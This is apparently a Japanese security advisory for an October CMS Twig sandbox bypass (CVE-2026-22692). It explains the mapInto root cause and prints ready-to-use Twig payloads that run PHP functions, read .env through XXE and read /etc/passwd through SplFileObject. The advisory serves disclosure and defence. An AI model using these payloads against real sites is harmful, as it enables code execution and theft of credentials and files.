
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-22692 |
| 深刻度 | 中 (CVSS:3.1 4.9) |
| アドバイザリ | GHSA-m5qg-jc75-4jp6 |
| 影響を受ける製品 | October CMS (<= 4.1.4, <= 3.7.12) |
| 脆弱性の種類 | Twig サンドボックス回避 -> RCE、LFI、XXE |
| 発見者 | Lukasz Rybak |
October CMS の Twig サンドボックス (セーフモード) には重大な脆弱性が存在し、テンプレート編集権限を持つ認証済みユーザーがセキュリティ制限を回避して、任意の PHP コードを実行 (RCE) したり、サーバー上の任意のファイルを読み取ったり (XXE/LFI) することが可能になります。
根本原因は October\Rain\Support\SafeCollection にあります。このクラスは CallsAnyMethod インターフェースを実装しており、System\Twig\SecurityPolicy に対して、コレクションオブジェクト自体の標準的なメソッド許可リストをバイパスするよう指示します。
SafeCollection は呼び出し可能オブジェクト (callable) の直接実行を防ぐために引数をフィルタリングしようとしますが、mapInto($class) メソッドをブロックしません。mapInto メソッドはコレクションを反復処理し、指定されたクラス名をインスタンス化します:
new $class($value, $key);
これにより、攻撃者はアプリケーションに認識されている任意のクラスをインスタンス化できます。
System\Twig\SecurityPolicy は、すべてのオブジェクトの __toString() メソッドを明示的に許可リストに登録しています。攻撃者は、Psy\Readline\Hoa\Xcallable (呼び出し可能オブジェクトをラップする) をインスタンス化し、それを GuzzleHttp\Psr7\FnStream (その __toString メソッド内で _fn___toString プロパティを介してユーザー定義関数を呼び出す) 内にラップすることで、Twig でオブジェクトを出力するだけで、引数を必要としない任意の PHP 関数 (例: php_uname、phpinfo) の実行をトリガーできます。
SimpleXMLElement クラスは、コンストラクターの2番目の引数として libxml オプションフラグを受け入れます。mapInto() はコレクションのキーをコンストラクターの2番目の引数として渡します。キーが 2 (LIBXML_NOENT に対応) のコレクションを作成することで、攻撃者は SimpleXMLElement で外部エンティティの置換を有効にでき、即座に XXE が発生し、システムファイルを読み取ることが可能になります。
ネイティブ PHP の SplFileObject クラスを使用した、より直接的なローカルファイルインクルージョン (LFI) の脆弱性が存在します。攻撃者は mapInto を介してファイルパスと読み取りモードを渡して SplFileObject をインスタンス化することで、反復処理可能なファイルオブジェクトを取得します。このオブジェクトを collect() ヘルパーに渡すと、(フレームワークのコア内の iterator_to_array を介して) 即座に反復処理がトリガーされ、サンドボックスのメソッドブロックポリシーをバイパスします。これにより、XML サポートや特定のベンダーライブラリを必要とせずに、Web サーバーがアクセスできる任意のファイルを読み取ることができます。
CMS_SAFE_MODE=truephp_uname の実行){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env ファイルの読み取り){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
SplFileObject による /etc/passwd の読み取り){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
リモートコード実行 (RCE)、ローカルファイルインクルージョン (LFI)、XML 外部エンティティインジェクション (XXE)。
SimpleXMLElement または SplFileObject) を介して、Web ユーザーがアクセスできるサーバーファイルシステム上の任意のファイル (/etc/passwd、データベース設定、.env などを含む) の読み取りを許可します。これは、信頼できないユーザーまたは半信頼のユーザーが CMS テンプレートエディターにアクセスできるすべての October CMS インストールに影響し、実質的にシステム管理者 / Root レベルの権限へ権限昇格することを可能にします。
この CVE は、協調的な脆弱性開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを意図しています。